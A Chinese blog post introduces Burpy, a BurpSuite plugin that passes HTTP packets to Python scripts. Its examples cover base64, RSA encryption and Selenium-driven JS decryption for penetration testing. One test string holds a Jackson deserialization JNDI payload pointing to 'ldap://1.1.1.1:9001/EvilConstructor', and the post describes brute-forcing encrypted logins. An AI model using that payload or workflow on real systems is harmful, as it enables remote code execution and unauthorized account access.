打通BurpSuite与Python之间的任督二脉

Burpy是一款能够打通BurpSuite和Python之间任督二脉的插件,从此之后,你可以用你的python任意处理Http包了!

Burpy

首先,BurpSuite插件已经那么多了,真的缺这一个?
面对这个To be, or not to be的灵魂之问,咱们先回答一下下面的问题:

  • 你的BurpSuite中有多少插件?
  • 你有没有这样的情况:有些工作我用大python写的,测试的时候需要burpsuite,所以干活的时候是不断地在命令行、Burpsuite、浏览器三个之间来回切换。

我就遇到一个RSA加密的流量,没有这个插件,我干活的状态应该是这样的:

  • 编写一个RSA加密脚本
  • 打开一个命令行,执行命令把我的payload加密
  • 右键复制
  • 切换到BurpSuite,粘贴加密之后的payload
  • 发送请求,分析返回结果
  • 切换到命令行,更换payload,执行python脚本加密
  • 再复制
  • 再粘贴
  • 再发送请求
    ….

上面过程我才测试了两个payload,如果你有50个payload,你是不是想把电脑摔了?或者问候一下某人先人?

有朋友可能会说了,我有插件呀!
对,RSA可以弄个插件。那下一个活,不是RSA了,加了签名怎么办?
答:再写个插件!
对,如果下一个活,加密/签名算法不一样,比如有些加了时间戳,取url中后6位与时间戳合并,算32位的md5之后,把md5从中间劈开,前16位做key/后16位做iv,做了AES呢?
答:再写个插件!
….

那结果可能是,你的BurpSuite中装满了各式各样的插件!

假设上面的情况下,你还需要做Intruder的动作,可你的插件只做了加密,怎么办?
答:改插件!

如果你的回答跟上面一致,那么请大佬收下我的膝盖!

不是每个人都快速开发一个插件,而不同的活,用到的插件也不一定完全一样,并且改插件的话,需要了解BurpSuite内部的东西,这限制了团队内其他人员的发挥。

在深深的体验了上面不同情况下的痛楚之后,一个来自CFCA信息安全部的同志,小心翼翼地打开了破解版本的idea,学习了Brida插件的代码之后,通过大量复制、粘贴和修改之后,完成了一个他心目中的那个插件——Burpy

从此之后,它的BurpSuite中只有一个插件,那就是Burpy。(当然有时会用一下Brida)

Burpy,一个Burpy胜过千万个插件,是您居家日站的必备良器!
渗透测试人员必备两个技能:BurpSuite工具和Python脚本,Burpy就是打通这任督二脉的神器!

恩,字数上应该差不多了,下面进入正题。

 

作用

执行指定python脚本,并将处理结果返回给BurpSuite。

 

功能、UI介绍

是不是很眼熟?简直就是Brida的亲兄弟有没有!这点恰恰证明了作为唯一开发者的我的Java编程功底~对,就是很浅。

这里有个注意事项:要用python2。

Burpy PY file path:里面指定好你自己的python脚本,点击start server,就可以开心的干活了。

大家注意看这里:

这个地方是一些开关,为了右键菜单更加简洁。点上之后,右键菜单会有变化。

把这些开关都点上,来看一眼右键菜单:

Burpy Main会自动调用我们脚本中的main方法
Burpy Enc会自动调用encrypt方法
依次类推。

Enable ProcessorEnable Auto Enc/Dec这两个开关的功能比较特殊,这里分开说一下

打开enable processor之后,在使用Intruder进行暴力破解之类的动作时,如果payload需要进行加密或签名,我们就可以把加密/签名的算法实现到自己有python脚本的processor函数中,参见下面的例子。

打开Enable Auto Enc/Dec之后,你就自由了!加密?不存在的!参见下面的例子。

 

脚本怎么写

在我们自己的脚本中,要新建一个Burpy类,此类在start server的时候会进行初始化。
Burpy类有这样几个函数:main, encrypt, decrypt, sign, processor,作用咱们上面提到了,不再重复

其中,main函数是必须的,因为右键菜单始终会有一个Burpy Main,这个菜单就是调用的main函数。(如果你连Burpy Main也不调用,这个函数也是可以没有的)

其他的函数看需要,可有可无。之所以这样设计是因为,不是每次你都要进行加解密操作,有时候你只需要进行个md5或者base64就行。贴不贴心?

Talk is cheap, show me the code!
下面咱们看几个例子吧!

编码

这是一个base64编码的例子,其实呢,base64功能很多插件都有,burpsuite自己也有,这里只是为了说明一下Burpy的用法。

import base64
class Burpy:
    '''
    header is list, append as your need
    body is string, modify as your need
    '''
    def main(self, header, body):
        return header, body

    def encrypt(self, header, body):
        body = base64.b64encode(body)
        return header, body

    def decrypt(self, header, body):
        return header, body

    def sign(self, header, body):
        return header, body

    def processor(self, payload):
        return payload+"burpyed"

很简单对不对?
Burpy的灵活之处就在这里,它把整个HTTP数据包都发送到脚本进行处理,HTTP头保存在header列表中,body是个字符串,想怎么处理就怎么处理,处理完把header和body返回就搞定。

上面的函数中,我们只用到了encrypt,其实其他函数都可以删掉的

加密

上面的例子太简单了有没有,这个功能很鸡肋,burpsuite中使用ctrl+b快捷键就完成了,还得写个脚本,这不是大晴天打伞——多此一举吗?
来来来,看看下面这个例子。
代码有些长….
先在这说明一下:下面代码是做RSA加密的。在这个项目中,用户名和密码是经过RSA加密之后传给服务器的,服务器会解密,通过其他漏洞拿到源代码,分析之后发现可能存在Jackson反序列化漏洞,于是写了这个脚本来测试。
这个RSA加密中会取当前时间,再取一个6位随机字符,拼接成一个nonce,而公钥可以在浏览器的JS里面找到。如果没有这个插件,想做这件事基本上很难,找到js代码之后还要在浏览器是执行js代码,复制粘贴等等,幸好我们有Burpy,来看下脚本和体验如何吧!(如下内容已做脱敏)

import json

class Burpy:
    def main(self, header, body):
        body_json = json.loads(body)
        username = repr(body_json.get("username"))
        body_json["username"] = "_XXXX_ENC_:V1:RSA:XXXX0001:" + self.rsa_enc(username)
        body = json.dumps(body_json)
        return header, body

    def rsa_enc(self,data):
        from Crypto.PublicKey import RSA
        from base64 import b64decode,b64encode
        from Crypto.Cipher import PKCS1_v1_5
        import time
        import random
        t = int(round(time.time() * 1000))

        s = ""
        for i in range(6):
            s += str(random.randint(1,10))

        e = str(t) + s

        i = dict()
        i["text"] = data
        i["timestamp"] = t+5
        i["nonce"] = e


        pubStr = "MIIxxxxxx9hnjsRkHvPUVT91pl9fR9VKn/F/JbwrNlDZQOnd0AXxxxxxxxcP61EVOdEqAdtA1law/6Z9O4c1nHaDBblx3R9Sr7Lxxxxxx0kxoox7LlAInToUqU1ofWNf0FlF+A6kd1wZhil1Iha9NS8z7UfMx92jxh9RtGWFKxxxxxl4UJsQoS7krDN6skb8SLwga4QYUU3ua8GCxxxxxxx"
        msg = json.dumps(i)
        #msg = "1565246122420" + msg
        keyDER = b64decode(pubStr)
        keyPub = RSA.importKey(keyDER)
        cipher = PKCS1_v1_5.new(keyPub)
        ct = cipher.encrypt(msg.encode('utf-8'))
        ect = b64encode(ct)
        return ect

    def sign(self,data):
        from Crypto.PublicKey import RSA
        from base64 import b64decode,b64encode
        from Crypto.Cipher import PKCS1_v1_5
        import time
        import random
        t = int(round(time.time() * 1000))

        s = ""
        for i in range(6):
            s += str(random.randint(1,10))

        e = str(t) + s

        i = dict()
        i["text"] = data
        i["timestamp"] = t+5
        i["nonce"] = e


        pubStr = "xxxxxx722fdwcupvDquRSlfU7TRI6mRPXo9ALHEUYIA2Bnpt0lU8VcP61EVOdEqAdtA1law/6Z9O4c1nHaDBblx3R9Sr7Lw3KJj6P2pRM/eNxxxxx0kxoox7LlAInToUqU1ofWNf0FlF+A6kd1wZhilxxxxxxB"
        msg = json.dumps(i)
        #msg = "1565246122420" + msg
        keyDER = b64decode(pubStr)
        keyPub = RSA.importKey(keyDER)
        cipher = PKCS1_v1_5.new(keyPub)
        ct = cipher.encrypt(msg.encode('utf-8'))
        ect = b64encode(ct)
        return ect



if __name__ == "__main__":
    b = Burpy()
    header = []
    body = '{"username": {"text": ["org.hibernate.jmx.StatisticsService",{"sessionFactoryJNDIName": "ldap://1.1.1.1:9001/EvilConstructor"}]}, "svcCode": "client:009", "password": "2", "orgCode": "xxxx"}'
    header1,body1 = b.main(header, body)
    print body1

来体验一把:

payload processor

怎么样?有没有感觉通畅了许多?

这还不是最令人兴奋的。来一起看一下payload processor

试想一下,你想暴力破解上面这种系统的用户名密码,能做到不?难。
但是,用Burpy只需要像下面这样设置一下就可以跑了:

首先,勾选Enable Processor
然后,在我们的脚本中加入processor函数,并编写逻辑调用已经写好的rsa_enc函数
然后就是常规操作,看这里:

其实,这个processor加密之后的密文前边应该再加上一些字符串,但我实在太懒了,你们应该都知道怎么改这个脚本的,我相信你们。

看到这里,有同学可能问了,恩恩,很好,很6,但是,为啥这个脚本这么麻烦?直接接数据返回不就行了吗?

当当当当,你说的对,但是,一次偶然的机会(其实是经常遇到),我需要测试一个APP,它加载一个web页面,里面有js代码,js代码经过了webpack。
其中,流量是加密的,怎么办?

往下看!

webdriver

首先推荐一个模块——moduleRaid.js,自己去github上找吧,不多解释,因为我也不懂它怎么做到的。
反正,用了这个之后,你就可能在浏览器控制台下拉调用webpack之后的一些js的功能,如加密/解密!

很神奇有没有,但是问题来了,我们测试的是APP呀,又不是浏览器上的web站!
难道要打开手机APP内部的webview的控制台,再用手机键盘输入那些js命令?
然后怎么从手机webview控制台中把js执行结果复制出来?

这里就用到了webdriver,我们可以使用python启动一个浏览器,让浏览器去访问APP中浏览的页面!
而且,我们还能通过python脚本把我们的JS代码加载到这个浏览器当中!
而且,我们还能通过python脚本在这个浏览器中执行js代码!
而且,我们还有Burpy

来看一下怎么搞!

先来看下代码(已脱敏):

#coding:utf-8
# 别忘了安装依赖
from selenium import webdriver
import json
from base64 import b64encode
import urllib

chromeExec = "/usr/bin/chromedriver" # 需要自己下载chromedriver

url = "https://xxxx.com:58100/xxxx/xxxx" # 这里就是APP中的Webview当中加载的页面,不过对于一些公司来说,他们通常用一套东西,自己体会


class Burpy:
    def __init__(self):
        """
        this is called from the start of PyRo4 service, so init webdriver here
        """
        option = webdriver.ChromeOptions()
        option.add_argument('headless')
        self.driver = webdriver.Chrome(executable_path=chromeExec, chrome_options=option)
        self.driver.implicitly_wait(20)
        self.driver.get(url)

        try:
            js = self.load_js()
            self.driver.execute_script(js)
        except Exception as e:
            print("Failed to load MouldueRaid JS")
            print(e)

    def __del__(self):
        self.driver.quit()

    def load_js(self):
        jsFilePath = r"/home/m0nst3r/tools/moduleraid.js"
        with open(jsFilePath) as f:
            jsContent = f.read()
        return jsContent

    def main(self, header, body):
        return header, body

    def decrypt(self, header, body):
        if body.startswith("msg="):
            data = urllib.unquote(body[len('msg='):])
            DecRes = """return window.mR.modules.xxxx.xxxx.decryptData('%s')""" % (data)

            result = self.driver.execute_script(DecRes)
            result = json.dumps(result)
            nbody = "msg="+result
        else:
            # the body is the json string
            data_json = urllib.unquote(body)
            DecRes = """return JSON.stringify(window.mR.modules.xxxx.xxxx.decryptData('%s'))""" % (data_json)
            result = self.driver.execute_script(DecRes)
            nbody = "msg="+result

        return header, nbody

    def encrypt(self, header, body):
        data = body[len('msg='):]
        data_b64 = b64encode(data)

        EncRes = """return window.mR.modules.xxxx.xxx.encryptData(JSON.parse(atob("%s")));""" % (data_b64)

        result = self.driver.execute_script(EncRes)
        result_json = json.loads(result)
        result_json["K3"] = "h5"
        result = json.dumps(result_json)

        nbody = 'msg='+urllib.quote(result)
        return header, nbody

由于考虑这个webdriver的问题,我才把Burpy脚本改成了类的形式。因为webdriver每次启动的时候比较费时,而通过类中的__init__方法,我们可以把这个保持这个类的实例,所以再次调用的时候就不用初始化了。不过,我们点击start server的时候会感觉到一些延迟。

脱敏之后的这个脚本肯定是运行不了的,但为了演示效果,我原来的文件不能乱改,所以,直接给大家看一下效果就好了:

Auto Enc/Dec

这个功能是同事提出的意见,花了半天的时间实现了,由此可见我的Java编程功底真的是很浅。。。。

这个功能可以说是灵魂技能!就好比,,,没想出来,总之很牛逼。

为啥这么说呢?

大家发现没有,上面的操作中我每次还需要右键一下,滑动鼠标,瞄准一个菜单,再点击。
做为一个懒到极致的人,这些操作都觉得麻烦!于是Auto Enc/Dec来了,只要你写好加密、解密功能,点开这个开关,你直接写明文!
对,明文就行了,你点Go的时候,自动调用脚本中的encrypt函数进行加密,拿到服务器返回数据之后,自动调用脚本中的decrypt函数解密!

同学,还有比这更美的吗?

来体验加证明一下,为了简单,我就用Base64测试的那个脚本吧。

大家可以通过wireshark看到,其实这块的实现还有bug。
不过,我应该会很快补上的,恩,不会很久的。

 

结语

如果这个长文你都看完了,欢迎到Github上赏Star,欢迎提出改进建议,更欢迎contribution。

么么哒!

https://github.com/mr-m0nst3r/Burpy

(完)